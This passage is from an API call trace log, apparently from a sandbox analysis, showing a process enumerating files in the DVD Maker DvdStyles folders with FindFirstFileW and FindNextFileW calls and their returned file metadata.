lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0052.505] GetLastError () returned 0x12 [0052.505] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0052.505] GetLastError () returned 0x12 [0052.505] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0052.505] GetLastError () returned 0x12 [0052.506] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0052.506] GetLastError () returned 0x12 [0052.506] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0052.506] GetLastError () returned 0x12 [0052.506] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0052.506] GetLastError () returned 0x12 [0052.506] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0052.506] GetLastError () returned 0x12 [0052.506] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0052.506] GetLastError () returned 0x12 [0052.506] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0052.506] GetLastError () returned 0x12 [0052.506] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0052.507] GetLastError () returned 0x12 [0052.507] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0052.507] GetLastError () returned 0x12 [0052.507] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0052.507] GetLastError () returned 0x12 [0052.507] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0052.507] GetLastError () returned 0x12 [0052.507] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0052.507] GetLastError () returned 0x12 [0052.507] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0052.507] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.508] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.508] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0052.508] GetLastError () returned 0x12 [0052.509] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0052.509] GetLastError () returned 0x12 [0052.509] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0052.509] GetLastError () returned 0x12 [0052.509] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0052.509] GetLastError () returned 0x12 [0052.509] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.509] GetLastError () returned 0x12 [0052.509] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0052.509] GetLastError () returned 0x12 [0052.509] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0052.509] GetLastError () returned 0x12 [0052.510] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0052.510] GetLastError () returned 0x12 [0052.510] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0052.510] GetLastError () returned 0x12 [0052.510] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0052.510] GetLastError () returned 0x12 [0052.510] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0052.510] GetLastError () returned 0x12 [0052.510] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0052.510] GetLastError () returned 0x12 [0052.510] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0052.510] GetLastError () returned 0x12 [0052.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.725] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.725] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0052.725] GetLastError () returned 0x12 [0052.725] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0052.725] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.726] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0052.726] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.726] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0052.726] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.726] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0052.726] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0052.726] GetLastError () returned 0x12 [0052.726] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0052.727] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.727] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.727] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0052.727] GetLastError () returned 0x12 [0052.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.837] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.837] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, 